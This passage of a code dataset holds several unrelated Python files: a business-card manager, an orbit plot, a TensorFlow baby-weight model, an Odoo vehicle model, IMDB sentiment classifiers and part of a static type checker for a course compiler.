print('{}\\t\\t{}\\t\\t{}\\t\\t{}'.format(user_dict['name'], user_dict['age'], user_dict['tel'],\r\n user_dict['email']))\r\n print(\"=\" * 50)\r\n\r\n else:\r\n print(\"当前没有任何信息,请添加新增名片\")\r\n\r\n\r\ndef search_card():\r\n \"\"\"遍历card_list得到用户键值对,再把键值对中的name值与用户输入内容\r\n 作比较,如果匹配到了则返回用户信息,如果没有匹配到则提示用户没搜到\r\n \"\"\"\r\n find_name = input(\"请输入您要查找的姓名:\")\r\n for key_value in card_list:\r\n if key_value[\"name\"] == find_name:\r\n make_tab()\r\n print('{}\\t\\t{}\\t\\t{}\\t\\t{}'.format(key_value['name'], key_value['age'], key_value['tel'],\r\n key_value['email']))\r\n print(\"=\" * 50)\r\n\r\n deal_card(key_value)\r\n break\r\n else:\r\n print(\"您所查找的名片不存在!\")\r\n\r\n\r\ndef deal_card(key_value):\r\n \"\"\"找到用户后,对名片进行修改或者删除操作\r\n key_valuie:在查找函数中,查找到的用户信息字典\r\n \"\"\"\r\n user_input_str = input(\"请选择您要进行的操作: [1]修改名片 [2]删除名片 [0]返回上一层\")\r\n if user_input_str == \"1\":\r\n # 修改名片\r\n key_value[\"name\"] = user_input_info(key_value[\"name\"], input(\"姓名\"))\r\n key_value[\"age\"] = user_input_info(key_value[\"age\"], input(\"年龄\"))\r\n key_value[\"tel\"] = user_input_info(key_value[\"tel\"], input(\"电话\"))\r\n key_value[\"email\"] = user_input_info(key_value[\"email\"], input(\"邮箱\"))\r\n print(\"修改成功!\")\r\n\r\n elif user_input_str == \"2\":\r\n # 删除名片\r\n card_list.remove(key_value)\r\n print(\"删除成功!\")\r\n\r\n\r\ndef user_input_info(dict_value, input_value):\r\n \"\"\"\r\n 判断用户输入的值,如果不是空则修改原值,否则返回原值\r\n :param dict_value: 字典中原有的值\r\n :param input_value: 用户输入的用于修改的值\r\n :return: 修改后的值\r\n \"\"\"\r\n if len(input_value) == 0:\r\n return dict_value\r\n else:\r\n return input_value\r\n","sub_path":"项目练习/应用脚本/简单的名片管理系统/card_tools.py","file_name":"card_tools.py","file_ext":"py","file_size_in_byte":3762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"210481755","text":"import matplotlib.pyplot as plt\nfrom matplotlib import animation\nimport numpy as np\nimport pandas as pd\n\nEARTH = 10\nSPEED = 400\n\ndata = pd.read_csv(\"orbit.txt\", delimiter=\" \", header=None, index_col=0)\n# print(data)\n\nt, x, y, d, vx, vy, mx, my = data.T.values\n\ndef update_plot(i, _x, _y, scatter):\n scatter.set_offsets(np.c_[_x[:i * SPEED], _y[:i * SPEED]])\n return scatter\n\nfig, ax = plt.subplots(figsize = (10, 6))\n\n# Remove axis for what seems to be literally nothing\nplt.axis(\"off\")\n\n# ROCKET ORBIT\norbit_plot = fig.add_subplot(121)\norbit_plot.grid()\nscatter_rocket = orbit_plot.scatter(x, y, s=1, color=\"r\")\norbit_plot.axis('equal')\norbit_plot.title.set_text(\"Orbit\")\n\n# EARTH\nearth = plt.Circle((0, 0), EARTH*6.371e+6, color='blue', fill=False)\nfig.gca().add_artist(earth)\n\n# MOON\nscatter_moon = orbit_plot.scatter(mx, my, s=1, color=\"g\")\n\nanim_rocket = animation.FuncAnimation(fig, update_plot, frames=range(len(t / SPEED)), fargs=(x, y, scatter_rocket), interval=50)\nanim_moon = animation.FuncAnimation(fig, update_plot, frames=range(len(t / SPEED)), fargs=(mx, my, scatter_moon), interval=50)\n\n# DISTANCE\ndist_plot = fig.add_subplot(222)\ndist_plot.grid()\ndist_plot.plot(t, d)\nfig.gca().set_xlim(0, max(t))\ndist_plot.title.set_text(\"Distance\")\n\n# SPEED\nspeed_plot = fig.add_subplot(224)\nspeed_plot.grid()\nspeed_plot.plot(t, np.sqrt(vx**2 + vy**2))\nspeed_plot.title.set_text( \"Speed\")\n\nfig.tight_layout(pad=2)\n\nplt.savefig('plot.png')\nplt.show()\n\n","sub_path":"SEM1/space_labs/lab9/notes/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":1460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"574746234","text":"#!/usr/bin/env python\n\n# Copyright 2017 Google Inc. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport shutil\nimport tensorflow as tf\nimport tensorflow.contrib.layers as tflayers\nfrom tensorflow.contrib.learn.python.learn import learn_runner\nimport tensorflow.contrib.metrics as metrics\n\n\ntf.logging.set_verbosity(tf.logging.INFO)\n\nBUCKET = None # set from task.py\nPATTERN = 'of' # gets all files\nTRAIN_STEPS = 10000\nCSV_COLUMNS = 'weight_pounds,is_male,mother_age,mother_race,plurality,gestation_weeks,mother_married,cigarette_use,alcohol_use,key'.split(',')\nLABEL_COLUMN = 'weight_pounds'\nKEY_COLUMN = 'key'\nDEFAULTS = [[0.0], ['null'], [0.0], ['null'], [0.0], [0.0], ['null'], ['null'], ['null'], ['nokey']]\n\ndef read_dataset(prefix, batch_size=512):\n # use prefix to create filename\n filename = 'gs://{}/babyweight/preproc/{}*{}*'.format(BUCKET, prefix, PATTERN)\n print(filename)\n if prefix == 'train':\n mode = tf.contrib.learn.ModeKeys.TRAIN\n else:\n mode = tf.contrib.learn.ModeKeys.EVAL\n \n # the actual input function passed to TensorFlow\n def _input_fn():\n # could be a path to one file or a file pattern.\n input_file_names = tf.train.match_filenames_once(filename)\n filename_queue = tf.train.string_input_producer(\n input_file_names, shuffle=True)\n \n # read CSV\n reader = tf.TextLineReader()\n _, value = reader.read_up_to(filename_queue, num_records=batch_size)\n value_column = tf.expand_dims(value, -1)\n columns = tf.decode_csv(value_column, record_defaults=DEFAULTS)\n features = dict(zip(CSV_COLUMNS, columns))\n features.pop(KEY_COLUMN)\n label = features.pop(LABEL_COLUMN)\n return features, label\n \n return _input_fn\n\ndef get_wide_deep():\n # define column types\n races = ['White', 'Black', 'American Indian', 'Chinese', \n 'Japanese', 'Hawaiian', 'Filipino', 'Unknown',\n 'Asian Indian', 'Korean', 'Samaon', 'Vietnamese']\n is_male,mother_age,mother_race,plurality,gestation_weeks,mother_married,cigarette_use,alcohol_use = \\\n [ \\\n tflayers.sparse_column_with_keys('is_male', keys=['True', 'False']),\n tflayers.real_valued_column('mother_age'),\n tflayers.sparse_column_with_keys('mother_race', keys=races),\n tflayers.real_valued_column('plurality'),\n tflayers.real_valued_column('gestation_weeks'),\n tflayers.sparse_column_with_keys('mother_married', keys=['True', 'False']),\n tflayers.sparse_column_with_keys('cigarette_use', keys=['True', 'False', 'None']),\n tflayers.sparse_column_with_keys('alcohol_use', keys=['True', 'False', 'None'])\n ]\n\n # which columns are wide (sparse, linear relationship to output) and which are deep (complex relationship to output?) \n wide = [is_male,\n mother_race,\n plurality,\n mother_married,\n cigarette_use,\n alcohol_use]\n deep = [mother_age,\n gestation_weeks,\n tflayers.embedding_column(mother_race, 3)]\n return wide, deep\n\n\ndef serving_input_fn():\n feature_placeholders = {\n 'is_male': tf.placeholder(tf.string, [None]),\n 'mother_age': tf.placeholder(tf.float32, [None]),\n 'mother_race': tf.placeholder(tf.string, [None]),\n 'plurality': tf.placeholder(tf.float32, [None]),\n 'gestation_weeks': tf.placeholder(tf.float32, [None]),\n 'mother_married': tf.placeholder(tf.string, [None]),\n 'cigarette_use': tf.placeholder(tf.string, [None]),\n 'alcohol_use': tf.placeholder(tf.string, [None])\n }\n features = {\n key: tf.expand_dims(tensor, -1)\n for key, tensor in feature_placeholders.items()\n }\n return tf.contrib.learn.utils.input_fn_utils.InputFnOps(\n features,\n None,\n feature_placeholders)\n\n\nfrom tensorflow.contrib.learn.python.learn.utils import saved_model_export_utils\ndef experiment_fn(output_dir):\n wide, deep = get_wide_deep()\n return tf.contrib.learn.Experiment(\n tf.contrib.learn.DNNLinearCombinedRegressor(model_dir=output_dir,\n linear_feature_columns=wide,\n dnn_feature_columns=deep,\n dnn_hidden_units=[64, 32]),\n train_input_fn=read_dataset('train'),\n eval_input_fn=read_dataset('eval'),\n eval_metrics={\n 'rmse': tf.contrib.learn.MetricSpec(\n metric_fn=metrics.streaming_root_mean_squared_error\n )\n },\n export_strategies=[saved_model_export_utils.make_export_strategy(\n serving_input_fn,\n default_output_alternative_key=None,\n exports_to_keep=1\n )],\n train_steps=TRAIN_STEPS\n )\n","sub_path":"blogs/babyweight/babyweight/trainer/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"156729856","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import models, fields\n\nclass FotonUnits(models.Model):\n _name = 'one.fu'\n _description = 'FOTON Units from FMPI'\n\n name = fields.Char(string=\"FOTON Number\", readonly=True)\n description = fields.Char(string=\"Description\", readonly=True)\n engine_number = fields.Char(string=\"Engine Number\", readonly=True)\n chassis_number = fields.Char(string=\"Chassis Number\", readonly=True)\n conduction_sticker = fields.Char(string=\"Conduction Sticker\", readonly=True)\n color = fields.Char(string=\"Color\", readonly=True)\n body_type = fields.Char(string=\"Body Type\", readonly=True)\n year_model = fields.Char(string=\"Year Model\", readonly=True)\n vehicle_type = fields.Char(string=\"Vehicle Class\", readonly=True)\n # LTO Registration info\n plate_number = fields.Char(string=\"Plate Number\")\n cr_number = fields.Char(string=\"C.R. Number\")\n cr_date = fields.Date(string=\"C.R. Date\")\n or_number = fields.Char(string=\"O.R. Number\")\n or_date = fields.Date(string=\"O.R. Date\")\n mv_file_number = fields.Char(string=\"M.V. File Number\")\n owner_name = fields.Char(string=\"Registered to\")\n owner_address = fields.Char(string=\"Address\")\n owner_contact_details = fields.Char(string=\"Contact Info\")\n # FMPI AMS Fields\n fmpi_fu_stamp = fields.Datetime(string=\"FMPI Unit Stamp\", readonly=True)\n fmpi_fu_local_name_id = fields.Many2one(string=\"Local Name\", comodel_name=\"one.local.names\", readonly=True)\n fmpi_dealer_id = fields.Many2one(string=\"Original Dealer\", comodel_name=\"one.dealers\", readonly=True)\n one_dealer_id = fields.Many2one(string=\"Current Dealer\", comodel_name=\"one.dealers\", readonly=True)\n one_dealer_type = fields.Char(string=\"Type\", related=\"one_dealer_id.type\", readonly=True)\n #one_transfer_ids = fields.One2many(string=\"Transfer Logs\", comodel_name=\"one.fu.transfers\", inverse_name=\"one_fu_id\")\n classification = fields.Char(string=\"Classification\", related=\"fmpi_fu_local_name_id.classification\", store=True)\n state = fields.Selection(string=\"State\", selection=[('avail','Available'),('alloc','Allocated'),('sold','Sold')])\n #new_body_type = fields.Char(string=\"Current Body Type\", readonly=True)\n #one_bt_log_ids = fields.One2many(string=\"Body Type Logs\", comodel_name=\"one.fu.bt.logs\", inverse_name=\"one_fu_id\")\n history_ids = fields.One2many(string=\"Service History\", comodel_name=\"fmpi.service.history\", inverse_name=\"one_fu_id\")\n active_on_dealer = fields.Boolean(string=\"Active\")\nFotonUnits()\n","sub_path":"one/models/one_fu.py","file_name":"one_fu.py","file_ext":"py","file_size_in_byte":2454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"489254502","text":"# Day_29_01_popcorn.py\nimport tensorflow as tf\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport gensim\nimport nltk\nfrom sklearn import model_selection, feature_extraction, linear_model\nimport re\n\n\ndef tokenizing_and_padding(x, vocab_size, seq_len):\n tokenizer = tf.keras.preprocessing.text.Tokenizer(num_words=vocab_size)\n tokenizer.fit_on_texts(x)\n\n # print(tokenizer.num_words) # 2000\n # print(len(tokenizer.index_word)) # 88582\n # print(x[1])\n # \\The Classic War of the ...\n\n x = tokenizer.texts_to_sequences(x)\n # print(x[1])\n # [1, 372, 276, 4, 1, ...]\n\n # 250개는 80%, 500개는 90%의 리뷰를 포함\n # freqs = sorted([len(t) for t in x])\n # plt.plot(freqs)\n # plt.show()\n\n x = tf.keras.preprocessing.sequence.pad_sequences(x, maxlen=seq_len)\n\n return x, tokenizer\n\n\n# 문제\n# 서브미션 파일을 만드세요\ndef make_submission(ids, preds, file_path):\n f = open(file_path, 'w', encoding='utf-8')\n\n f.write('\"id\",\"sentiment\"\\n')\n for i, p in zip(ids, preds):\n f.write('\"{}\",{}\\n'.format(i, p))\n\n f.close()\n\n\n# 사용 모델: baseline, rnn, cnn, cnn-tf.data\ndef make_submission_for_deep(ids, x_test, model, tokenizer, seq_len, file_path):\n x_test = tokenizer.texts_to_sequences(x_test)\n x_test = tf.keras.preprocessing.sequence.pad_sequences(x_test, maxlen=seq_len)\n\n preds = model.predict(x_test)\n preds_arg = preds.reshape(-1)\n preds_bool = np.int32(preds_arg > 0.5)\n # print(preds_bool[:10]) # [1 0 0 1 0 1 0 0 0 0]\n\n make_submission(ids, preds_bool, file_path)\n\n\ndef make_submission_for_word2vec(ids, x_test, model, word2vec, n_features, idx2word, file_path):\n x_test = [s.lower().split() for s in x_test]\n features = [make_features_for_word2vec(tokens, word2vec, n_features, idx2word) for tokens in x_test]\n x_test = np.vstack(features)\n\n preds = model.predict(x_test)\n make_submission(ids, preds, file_path)\n\n\n# 사용 모델: word2vec, word2vec_nltk\n# tokens: [the, in, happy, in, disney]\ndef make_features_for_word2vec(tokens, word2vec, n_features, idx2word):\n binds, n_words = np.zeros(n_features), 0\n\n for w in tokens:\n if w in idx2word:\n binds += word2vec.wv[w]\n n_words += 1\n\n return binds if n_words == 0 else binds / n_words\n\n\ndef model_baseline(x, y, ids, x_test):\n vocab_size, seq_len = 2000, 200\n x, tokenizer = tokenizing_and_padding(x, vocab_size, seq_len)\n\n # 문제\n # x, y 데이터를 80%로 학습하고 20%로 예측하는 모델을 구축하세요\n data = model_selection.train_test_split(x, y, train_size=0.8, shuffle=False)\n x_train, x_valid, y_train, y_valid = data\n\n # ------------------------------------- #\n\n model = tf.keras.Sequential([\n tf.keras.layers.Input(shape=[seq_len]),\n tf.keras.layers.Embedding(vocab_size, 100), # 입력(2차원), 출력(3차원)\n tf.keras.layers.LSTM(128, return_sequences=False),\n tf.keras.layers.Dense(1, activation='sigmoid'),\n ])\n\n model.compile(optimizer=tf.keras.optimizers.Adam(lr=0.01),\n loss=tf.keras.losses.binary_crossentropy,\n metrics=['acc'])\n\n model.fit(x_train, y_train, epochs=10, batch_size=128, verbose=2,\n validation_data=(x_valid, y_valid))\n\n # -----------------------------------------#\n\n make_submission_for_deep(ids, x_test, model, tokenizer, seq_len, 'popcorn_models/baseline.csv')\n\n\n# tf-idf: Term Frequency-Inverse Document Frequency\ndef model_tfidf(x, y, ids, x_test):\n vocab_size, seq_len = 2000, 200\n x, tokenizer = tokenizing_and_padding(x, vocab_size, seq_len)\n # print(x.shape) # (1000, 200)\n\n x = tokenizer.sequences_to_texts(x)\n\n tfidf = feature_extraction.text.TfidfVectorizer(\n min_df=0.0, analyzer='word', sublinear_tf=True,\n ngram_range=(1, 3), max_features=5000\n )\n x = tfidf.fit_transform(x)\n # print(x.shape) # (1000, 5000)\n\n data = model_selection.train_test_split(x, y, train_size=0.8, shuffle=False)\n x_train, x_valid, y_train, y_valid = data\n\n # ------------------------------------- #\n\n linear_regression = linear_model.LogisticRegression(class_weight='balanced')\n linear_regression.fit(x_train, y_train)\n print('acc :', linear_regression.score(x_valid, y_valid))\n\n # -----------------------------------------#\n\n # 문제\n # tf-idf 알고리즘을 적용한 모델에 대해 서브미션 파일을 만드세요\n # (예측할 때는 predict 함수를 사용합니다)\n x_test = tokenizer.texts_to_sequences(x_test)\n x_test = tf.keras.preprocessing.sequence.pad_sequences(x_test, maxlen=seq_len)\n\n x_test = tokenizer.sequences_to_texts(x_test)\n x_test = tfidf.fit_transform(x_test)\n\n preds = linear_regression.predict(x_test)\n # print(preds) # [1 1 1 ... 0 1 0]\n\n make_submission(ids, preds, 'popcorn_models/tfidf.csv')\n\n\ndef model_word2vec(x, y, ids, x_test):\n x = [s.lower().split() for s in x]\n\n n_features = 100\n word2vec = gensim.models.Word2Vec(x, workers=4, size=n_features, min_count=40, window=10, sample=0.001)\n\n idx2word = set(word2vec.wv.index2word)\n features = [make_features_for_word2vec(tokens, word2vec, n_features, idx2word) for tokens in x]\n\n # x = np.reshape(features, newshape=[-1, n_features]) # (1000, 100)\n x = np.vstack(features) # (1000, 100)\n # print(x.shape)\n\n # 리뷰: [the, in, happy, in, disney]\n # the : 1 0 0 0 0 0\n # in : 0 0 1 0 0 0\n # happy : 0 0 0 0 0 1\n # in : 0 0 1 0 0 0\n # disney: 0 0 0 0 0 0\n # + -----------\n # 1 0 2 0 0 1 / 4\n\n data = model_selection.train_test_split(x, y, train_size=0.8, shuffle=False)\n x_train, x_valid, y_train, y_valid = data\n\n # ------------------------------------- #\n\n linear_regression = linear_model.LogisticRegression(class_weight='balanced')\n linear_regression.fit(x_train, y_train)\n print('acc :', linear_regression.score(x_valid, y_valid))\n\n # -----------------------------------------#\n\n # 문제\n # 앞의 코드를 사용해서 서브미션 파일을 만드세요\n make_submission_for_word2vec(\n ids, x_test, linear_regression, word2vec, n_features, idx2word,\n 'popcorn_models/word2vec.csv'\n )\n\n\ndef model_word2vec_nltk(x, y, ids, x_test):\n # x = [s.lower().split() for s in x]\n\n tokenizer = nltk.RegexpTokenizer(r'\\w+')\n sent_tokens = [tokenizer.tokenize(s.lower()) for s in x]\n # print(sent_tokens[0]) # ['with', 'all', 'this', 'stuff', ...]\n\n # 문제\n # stem 함수를 사용하면 어간을 추출할 수 있습니다\n # stem 함수를 사용해서 sent_stems 변수를 완성하세요\n st = nltk.stem.PorterStemmer()\n sent_stems = [[st.stem(w) for w in s] for s in sent_tokens]\n # print(sent_stems[0]) # ['with', 'all', 'thi', 'stuff', ...]\n\n # 문제\n # sent_stems로부터 불용어를 제거하세요\n stop_words = nltk.corpus.stopwords.words('english')\n # print(stop_words) # ['i', 'me', 'my', 'myself', ...]\n sent_stops = [[w for w in s if w not in stop_words] for s in sent_stems]\n x = sent_stops\n\n # ------------------------------------- #\n # 아래 코드는 앞에 나온 model_word2vec 함수와 완벽하게 동일함\n\n n_features = 100\n word2vec = gensim.models.Word2Vec(x, workers=4, size=n_features, min_count=40, window=10, sample=0.001)\n\n idx2word = set(word2vec.wv.index2word)\n features = [make_features_for_word2vec(tokens, word2vec, n_features, idx2word) for tokens in x]\n x = np.vstack(features) # (1000, 100)\n\n data = model_selection.train_test_split(x, y, train_size=0.8, shuffle=False)\n x_train, x_valid, y_train, y_valid = data\n\n # ------------------------------------- #\n\n linear_regression = linear_model.LogisticRegression(class_weight='balanced')\n linear_regression.fit(x_train, y_train)\n print('acc :', linear_regression.score(x_valid, y_valid))\n\n # -----------------------------------------#\n\n make_submission_for_word2vec(\n ids, x_test, linear_regression, word2vec, n_features, idx2word,\n 'popcorn_models/word2vec_nltk.csv'\n )\n\n\n# baseline 모델 확장\ndef model_rnn(x, y, ids, x_test):\n vocab_size, seq_len = 2000, 200\n x, tokenizer = tokenizing_and_padding(x, vocab_size, seq_len)\n\n data = model_selection.train_test_split(x, y, train_size=0.8, shuffle=False)\n x_train, x_valid, y_train, y_valid = data\n\n # ------------------------------------- #\n\n model = tf.keras.Sequential()\n model.add(tf.keras.layers.Input(shape=[seq_len]))\n model.add(tf.keras.layers.Embedding(vocab_size, 100))\n # model.add(tf.keras.layers.LSTM(64, return_sequences=True))\n # model.add(tf.keras.layers.LSTM(64, return_sequences=False))\n cells = [tf.keras.layers.LSTMCell(64) for _ in range(2)]\n multi = tf.keras.layers.StackedRNNCells(cells)\n model.add(tf.keras.layers.RNN(multi))\n model.add(tf.keras.layers.Dense(64, activation='relu'))\n model.add(tf.keras.layers.Dense(1, activation='sigmoid'))\n\n model.compile(optimizer=tf.keras.optimizers.Adam(lr=0.01),\n loss=tf.keras.losses.binary_crossentropy,\n metrics=['acc'])\n\n model.fit(x_train, y_train, epochs=10, batch_size=128, verbose=1,\n validation_data=(x_valid, y_valid))\n\n # -----------------------------------------#\n\n make_submission_for_deep(ids, x_test, model, tokenizer, seq_len, 'popcorn_models/rnn.csv')\n\n\n# conv1d 사용\ndef model_cnn(x, y, ids, x_test):\n vocab_size, seq_len = 2000, 200\n x, tokenizer = tokenizing_and_padding(x, vocab_size, seq_len)\n\n data = model_selection.train_test_split(x, y, train_size=0.8, shuffle=False)\n x_train, x_valid, y_train, y_valid = data\n\n # ------------------------------------- #\n\n input = tf.keras.layers.Input(shape=[seq_len])\n\n embed = tf.keras.layers.Embedding(vocab_size, 100)(input)\n embed = tf.keras.layers.Dropout(0.5)(embed)\n\n conv1 = tf.keras.layers.Conv1D(128, 3, activation='relu')(embed)\n conv1 = tf.keras.layers.GlobalAvgPool1D()(conv1)\n\n model = tf.keras.Model(input, conv1)\n model.summary()\n return\n\n model.compile(optimizer=tf.keras.optimizers.Adam(lr=0.01),\n loss=tf.keras.losses.binary_crossentropy,\n metrics=['acc'])\n\n model.fit(x_train, y_train, epochs=10, batch_size=128, verbose=1,\n validation_data=(x_valid, y_valid))\n\n # -----------------------------------------#\n\n make_submission_for_deep(ids, x_test, model, tokenizer, seq_len, 'popcorn_models/rnn.csv')\n\n\n# ------------------------------------------------------------------------------ #\n\npopcorn = pd.read_csv('popcorn/labeledTrainData.tsv', delimiter='\\t', index_col=0)\n# print(popcorn)\n\nx = popcorn.review.values\ny = popcorn.sentiment.values.reshape(-1, 1)\n# print(x.dtype, y.dtype) # object int64\n\nn_samples = 1000\n# x, y = x[:n_samples], y[:n_samples]\n\ntest_set = pd.read_csv('popcorn/testData.tsv', delimiter='\\t', index_col=0)\nids = test_set.index.values\nx_test = test_set.review.values\n\n# model_baseline(x, y, ids, x_test)\n# model_tfidf(x, y, ids, x_test)\n# model_word2vec(x, y, ids, x_test)\n# model_word2vec_nltk(x, y, ids, x_test)\nmodel_rnn(x, y, ids, x_test)\n# model_cnn(x, y, ids, x_test)\n\n\n# baseline: 0.8634\n# tf-idf : 0.8742\n# word2vec: 0.8244\n# nltk : 0.8562\n# rnn : 0.8794\n","sub_path":"Keras - DeepLearning/21. popcorn.py","file_name":"21. popcorn.py","file_ext":"py","file_size_in_byte":11541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"501606823","text":"from AST import *\r\nfrom Visitor import BaseVisitor\r\nfrom Utils import Utils\r\nfrom StaticError import *\r\nfrom functools import reduce\r\n#-------------------------------------------------------------------------#\r\n#--------------------AUTHOR: Nguyen Minh THAM (1613166)-------------------#\r\n#-------------------------------------------------------------------------#\r\n\r\nclass MType:\r\n\r\n def __init__(self, partype, rettype):\r\n self.partype = partype\r\n self.rettype = rettype\r\n\r\n def __str__(self):\r\n return 'MType([' + ','.join(str(x) for x in self.partype) + '],' + str(self.rettype) + ')'\r\n\r\nclass Symbol:\r\n\r\n def __init__(self, name, mtype, value=None):\r\n self.name = name\r\n self.mtype = mtype\r\n self.value = value\r\n\r\n def __str__(self):\r\n return 'Symbol(' + str(self.name) + ',' + str(self.mtype) + ')'\r\n\r\nclass StaticChecker(BaseVisitor, Utils):\r\n\r\n global_envi = [Symbol(\"getInt\", MType([], IntType())),\r\n Symbol(\"putInt\", MType([IntType()], VoidType())),\r\n Symbol(\"putIntLn\", MType([IntType()], VoidType())),\r\n Symbol(\"getFloat\", MType([], FloatType())),\r\n Symbol(\"putFloat\", MType([FloatType()], VoidType())),\r\n Symbol(\"putFloatLn\", MType([FloatType()], VoidType())),\r\n Symbol(\"putBool\", MType([BoolType()], VoidType())),\r\n Symbol(\"putBoolLn\", MType([BoolType()], VoidType())),\r\n Symbol(\"putString\", MType([StringType()], VoidType())),\r\n Symbol(\"putStringLn\", MType([StringType()], VoidType())),\r\n Symbol(\"putLn\", MType([], VoidType()))\r\n ]\r\n\r\n def __init__(self, ast):\r\n self.ast = ast\r\n\r\n def check(self):\r\n return self.visit(self.ast, StaticChecker.global_envi)\r\n\r\n def raiseRedeclared(self, kind, name, list_check, func_list):\r\n dupName = self.lookup(name.lower(), list_check, func_list)\r\n if dupName is not None:\r\n raise Redeclared(kind, name)\r\n return False\r\n\r\n def typeCheckBinary(self,lhs,rhs):\r\n if type(lhs) is IntType and type(rhs) is IntType:\r\n return IntType()\r\n elif type(lhs) in [FloatType, IntType] and type(rhs) in [FloatType, IntType]:\r\n return FloatType()\r\n return None\r\n\r\n def typeCheck(self,lhs,rhs,type_check = True):\r\n # type_check = true -> check assignment statement, mean no check arraytype,String type\r\n # In call function/ procedure, lhs is parameter in function/procedure and rhs is parameter pass\r\n if type(lhs) is type(rhs) and type(lhs) in [IntType, BoolType]:\r\n return lhs\r\n elif type(lhs) is FloatType and type(rhs) in [FloatType, IntType]:\r\n return FloatType()\r\n if (type_check== False):#check parameters in function /procdure\r\n if type(lhs) is StringType and type(rhs) is StringType:\r\n return StringType()\r\n if type(lhs) is ArrayType and type(rhs) is ArrayType:\r\n if (int(lhs.lower)==int(rhs.lower)) and (int(lhs.upper) == int(rhs.upper)) and (type(lhs.eleType) == type(rhs.eleType)):\r\n return lhs\r\n return None \r\n\r\n def callBody(self,ast,c,kind):\r\n at = [self.visit(x, c) for x in ast.param]\r\n res = self.lookup(ast.method.name.lower(), c[0], lambda x: x.name.lower())\r\n if res is None or not type(res.mtype) is MType:\r\n raise Undeclared(kind, ast.method.name)\r\n elif type(res.mtype.rettype) is VoidType and type(kind) is Function:\r\n raise Undeclared(kind, ast.method.name)\r\n elif type(res.mtype.rettype) is not VoidType and type(kind) is Procedure:\r\n raise Undeclared(kind, ast.method.name)\r\n elif len(ast.param) != len(res.mtype.partype):\r\n if type(kind) is Procedure:\r\n raise TypeMismatchInStatement(ast) \r\n else:\r\n raise TypeMismatchInExpression(ast)\r\n else:\r\n for x in list(zip(res.mtype.partype,at)):\r\n if self.typeCheck(x[0],x[1],False) is None:\r\n if type(kind) is Procedure:\r\n raise TypeMismatchInStatement(ast) \r\n else:\r\n raise TypeMismatchInExpression(ast)\r\n return res.mtype.rettype\r\n#--------------------------------------------------------------------------------------#\r\n#-----------------------------------FUNCTION VISIT-------------------------------------#\r\n#--------------------------------------------------------------------------------------#\r\n\r\n def visitProgram(self, ast, c):\r\n list_gobal = c.copy()\r\n for _decl in ast.decl:\r\n if type(_decl) is VarDecl: # Variable declaration\r\n self.raiseRedeclared(Variable(), _decl.variable.name, list_gobal, lambda x: x.name.lower())\r\n list_gobal.append(Symbol(_decl.variable.name, _decl.varType))\r\n elif type(_decl) is FuncDecl and type(_decl.returnType) is VoidType: # Procedure declaration\r\n self.raiseRedeclared(Procedure(), _decl.name.name, list_gobal, lambda x: x.name.lower())\r\n list_gobal.append(Symbol(_decl.name.name, MType([i.varType for i in _decl.param], _decl.returnType)))\r\n else: # Function declaration\r\n self.raiseRedeclared(Function(), _decl.name.name, list_gobal, lambda x: x.name.lower())\r\n list_gobal.append(Symbol(_decl.name.name, MType([i.varType for i in _decl.param], _decl.returnType)))\r\n main = self.lookup(\"main\",list_gobal,lambda x: x.name.lower())\r\n if main and type(main.mtype) is MType and type(main.mtype.rettype) is VoidType and len(main.mtype.partype)==0:\r\n return [self.visit(x, list_gobal) for x in ast.decl]\r\n raise NoEntryPoint()\r\n#----------------------------Declaration-------------------------------------#\r\n#----------------------------------------------------------------------------#\r\n\r\n def visitFuncDecl(self, ast, c):\r\n list_local = []\r\n for var_decl in ast.param:\r\n self.raiseRedeclared(Parameter(), var_decl.variable.name, list_local, lambda x: x.name.lower())\r\n list_local.append(Symbol(var_decl.variable.name, var_decl.varType))\r\n for var_decl in ast.local:\r\n self.raiseRedeclared(Variable(), var_decl.variable.name, list_local, lambda x: x.name.lower())\r\n list_local.append(Symbol(var_decl.variable.name, var_decl.varType))\r\n # False -> Statements in function /procedure // True -> Statement in For / While\r\n at_body = list(map(lambda x: self.visit(x, (list_local + [Symbol(\"\",\"\")] +c,self.lookup(ast.name.name.lower(),c,lambda x:x.name.lower()), False)), ast.body))\r\n if type(ast.returnType) is not VoidType and (at_body == [] or str(at_body[::-1][0]) != \"return\") :\r\n raise FunctionNotReturn(ast.name.name)\r\n#-------------------------------Statement--------------------------------------#\r\n#------------------------------------------------------------------------------#\r\n\r\n def visitWith(self, ast, c):\r\n list_local = []\r\n for var_decl in ast.decl:\r\n self.raiseRedeclared(Variable(), var_decl.variable.name, list_local, lambda x: x.name.lower())\r\n list_local.append(Symbol(var_decl.variable.name, var_decl.varType))\r\n at_stmt = [self.visit(x, (list_local + c[0],c[1],c[2])) for x in ast.stmt]\r\n if at_stmt != []:\r\n return str(at_stmt[::-1][0])\r\n\r\n def visitAssign(self, ast, c):\r\n at_lhs = self.visit(ast.lhs, c)\r\n at_exp = self.visit(ast.exp, c)\r\n result = self.typeCheck(at_lhs,at_exp)\r\n if result is None:\r\n raise TypeMismatchInStatement(ast)\r\n return None\r\n \r\n def visitReturn(self, ast, c):\r\n if type(c[1].mtype.rettype) is not VoidType:#Function\r\n if ast.expr:\r\n at = self.visit(ast.expr, c)\r\n if self.typeCheck(c[1].mtype.rettype,at,False) is None:\r\n raise TypeMismatchInStatement(ast)# function but type no same\r\n else:\r\n raise TypeMismatchInStatement(ast)# Function but return VoidType\r\n return \"return\"\r\n else: #procedure\r\n if ast.expr:\r\n raise 